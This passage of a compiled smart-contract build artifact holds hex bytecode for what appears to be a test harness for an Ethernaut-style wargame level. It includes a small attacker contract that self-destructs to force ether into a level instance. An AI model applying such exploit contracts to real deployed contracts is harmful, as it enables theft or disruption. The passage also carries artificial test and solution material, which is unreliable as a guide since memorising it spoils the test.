206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c829f29fda69263f63352da262c9099b656355a242844076b8aecc6ad8d19fea64736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;385:1603:131;420:32:154;259:12:155;385:1603:131;420:32:154;410:43;382:71;;385:1603:131;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b29565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001b6c565b620001b3620001fa36600462001c58565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d2b565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001dee565b620001da6200025736600462001ebb565b62000ef8565b6200019a62001088565b62000271620011c7565b604051620001c7919062001ed3565b620001b36200029136600462001f39565b6200129c565b62000237620013bb565b620002b8620002b236600462001f57565b620014b5565b6040519015158152602001620001c7565b6200027162001645565b6200019a6200171a565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017b3565b620001da62001887565b6200019a6200032f36600462001ebb565b620018e7565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001f93565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001f93565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200129c565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001acf565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002034565b90508060018251620009829190620021c4565b8151811062000995576200099562001f93565b60200260200101515f0151600281518110620009b557620009b562001f93565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab49190810190620021da565b90505f81848560405160200162000acd9291906200222c565b60408051601f198184030181529082905262000aed9291602001620022da565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b519085906004016200230c565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b959190810190620021da565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200195b90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b9062002320565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb99062002320565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001bba565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb491906200235a565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001f93565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f6001604051620011079062001add565b6040518091039082f090508015801562001123573d5f803e3d5ffd5b506021546040517fd018db3e0000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291925082169063d018db3e906024015f604051808303815f87803b15801562001184575f80fd5b505af115801562001197573d5f803e3d5ffd5b5050602054602154620011c49350620011be92506001600160a01b039182169116620014b5565b620019fd565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200120a9062002320565b80601f0160208091040260200160405190810160405280929190818152602001828054620012389062002320565b8015620012875780601f106200125d5761010080835404028352916020019162001287565b820191905f5260205f20905b8154815290600101906020018083116200126957829003601f168201915b505050505081526020019060010190620011ea565b5f80604051620012ac9062001aea565b604051809103905ff080158015620012c6573d5f803e3d5ffd5b5090505f604051620012d89062001af8565b604051809103905ff080158015620012f2573d5f803e3d5ffd5b508483604051620013039062001b06565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200133d573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200139c575f80fd5b505af1158015620013af573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200149c57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014485790505b50505050508152505081526020019060010190620013de565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001511575f80fd5b505af115801562001524573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001582575f80fd5b505af115801562001595573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015f9573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001622919081019062002034565b90506001815111156200163a5760019150506200163f565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f20018054620016889062002320565b80601f0160208091040260200160405190810160405280929190818152602001828054620016b69062002320565b8015620017055780601f10620016db5761010080835404028352916020019162001705565b820191905f5260205f20905b815481529060010190602001808311620016e757829003601f168201915b50505050508152602001906001019062001668565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001771575f80fd5b505af115801562001784573d5f803e3d5ffd5b5050602054602154620017b19350620017ab92506001600160a01b039182169116620014b5565b62001a7c565b565b6008545f9060ff1615620017cb575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200185a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001880919062002378565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620018f4824362002390565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019b29086908690600401620023a6565b5f60405180830381865afa158015620019cd573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019f69190810190620023d7565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a62575f80fd5b505afa15801562001a75573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a4b565b61042d806200240e83390190565b60db806200283b83390190565b610ae5806200291683390190565b611e7a80620033fb83390190565b610daa806200527583390190565b6001600160a01b0381168114620011c4575f80fd5b5f805f6060848603121562001b3c575f80fd5b833562001b498162001b14565b9250602084013562001b5b8162001b14565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bae5783516001600160a01b03168352928401929184019160010162001b87565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001bf45762001bf462001bba565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c265762001c2662001bba565b604052919050565b5f67ffffffffffffffff82111562001c4a5762001c4a62001bba565b50601f01601f191660200190565b5f6020828403121562001c69575f80fd5b813567ffffffffffffffff81111562001c80575f80fd5b8201601f8101841362001c91575f80fd5b803562001ca862001ca28262001c2e565b62001bfa565b81815285602083850101111562001cbd575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001cf657818101518382015260200162001cdc565b50505f910152565b5f815180845262001d1781602086016020860162001cda565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001ddf57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dc857605f1988850301835262001db584865162001cfe565b948d01949350918c019160010162001d96565b505050968901969350509087019060010162001d50565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ead57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001e975783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e53565b5096890196945050509086019060010162001e15565b509098975050505050505050565b5f6020828403121562001ecc575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f2c57603f1988860301845262001f1985835162001cfe565b9450928501929085019060010162001efa565b5092979650505050505050565b5f6020828403121562001f4a575f80fd5b8135620019f68162001b14565b5f806040838503121562001f69575f80fd5b823562001f768162001b14565b9150602083013562001f888162001b14565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fc35762001fc362001bba565b5060051b60200190565b5f62001fdd62001ca28462001c2e565b905082815283838301111562001ff1575f80fd5b620019f683602083018462001cda565b5f82601f83011262002011575f80fd5b620019f68383516020850162001fcd565b80516200202f8162001b14565b919050565b5f602080838503121562002046575f80fd5b825167ffffffffffffffff808211156200205e575f80fd5b818501915085601f83011262002072575f80fd5b81516200208362001ca28262001fa7565b81815260059190911b83018401908481019088831115620020a2575f80fd5b8585015b83811015620021a357805185811115620020be575f80fd5b86016060818c03601f19011215620020d4575f80fd5b620020de62001bce565b8882015187811115620020ef575f80fd5b8201603f81018d1362002100575f80fd5b898101516200211362001ca28262001fa7565b81815260059190911b8201604001908b8101908f83111562002133575f80fd5b6040840193505b82841015620021555783518252928c0192908c01906200213a565b84525050506040820151878111156200216c575f80fd5b6200217c8d8b8386010162002001565b8a830152506200218f6060830162002022565b6040820152845250918601918601620020a6565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200163f576200163f620021b0565b5f60208284031215620021eb575f80fd5b815167ffffffffffffffff81111562002202575f80fd5b8201601f8101841362002213575f80fd5b620022248482516020840162001fcd565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200226581600585016020880162001cda565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022a481600a84016020880162001cda565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022ed81846020880162001cda565b8351908301906200230381836020880162001cda565b01949350505050565b602081525f620019f6602083018462001cfe565b600181811c908216806200233557607f821691505b6020821081036200235457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200236b575f80fd5b8151620019f68162001b14565b5f6020828403121562002389575f80fd5b5051919050565b808201808211156200163f576200163f620021b0565b604081525f620023ba604083018562001cfe565b8281036020840152620023ce818562001cfe565b95945050505050565b5f60208284031215620023e8575f80fd5b815167ffffffffffffffff811115620023ff575f80fd5b62002224848285016200200156fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6103b38061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100f8575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b50610070610117565b005b6100856100803660046102cc565b61012a565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100e86100d83660046102ee565b506001600160a01b031631151590565b6040519015158152602001610099565b348015610103575f80fd5b506100706101123660046102cc565b610157565b61011f6101ec565b6101285f610245565b565b5f604051610137906102ac565b604051809103905ff080158015610150573d5f803e3d5ffd5b5092915050565b61015f6101ec565b6001600160a01b0381166101e05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6101e981610245565b50565b5f546001600160a01b031633146101285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101d7565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60588061032683390190565b6001600160a01b03811681146101e9575f80fd5b5f602082840312156102dc575f80fd5b81356102e7816102b8565b9392505050565b5f80604083850312156102ff575f80fd5b823561030a816102b8565b9150602083013561031a816102b8565b80915050925092905056fe6080604052348015600e575f80fd5b50603e80601a5f395ff3fe60806040525f80fdfea2646970667358221220e3b0b9bf7dd6f741bba8d6f65db7b1b33c574ceb32447d884b9ba5c775b7c31664736f6c63430008180033a264697066735822122079ada73133760e82526fe0ca66c958298baba94710f2bf55a5806189af62334e64736f6c63430008180033608060405260cb806100105f395ff3fe608060405260043610601e575f3560e01c8063d018db3e146028575f80fd5b36602457005b5f80fd5b3480156032575f80fd5b506042603e366004605d565b6044565b005b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f60208284031215606c575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114608e575f80fd5b939250505056fea26469706673582212207cce0460ddd4d0b2b85c764928af587d5cc26cf5d939c1e9048f68b0ff624b9064736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c6020908152604080832094891683529381528382